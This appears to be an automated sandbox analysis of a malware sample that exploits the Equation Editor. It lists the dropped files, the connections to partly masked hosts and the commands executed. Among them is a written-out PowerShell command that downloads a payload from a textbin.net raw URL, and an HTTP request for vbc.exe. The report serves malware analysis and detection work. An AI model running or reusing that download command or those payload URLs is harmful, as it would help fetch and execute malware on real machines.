Technical Information
Malicious functions
Creates and executes the following (exploit)
- 'C:\users\public\regasm_svchost.exe'
Downloads
- https://textbin.net/raw/a3gbusy118
Modifies file system
Creates the following files
- C:\users\public\regasm_svchost.exe
Network activity
Connects to
- '10#.#73.219.12':80
- 'te##bin.net':443
TCP
HTTP GET requests
- http://10#.#73.219.12/43/vbc.exe
Other
- 'te##bin.net':443
UDP
- DNS ASK te##bin.net
Miscellaneous
Executes the following
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
- '%WINDIR%\syswow64\cmd.exe' /c powershell -Command "(New-Object Net.WebClient).DownloadString('https://textbin.net/raw/a3gbusy118')"
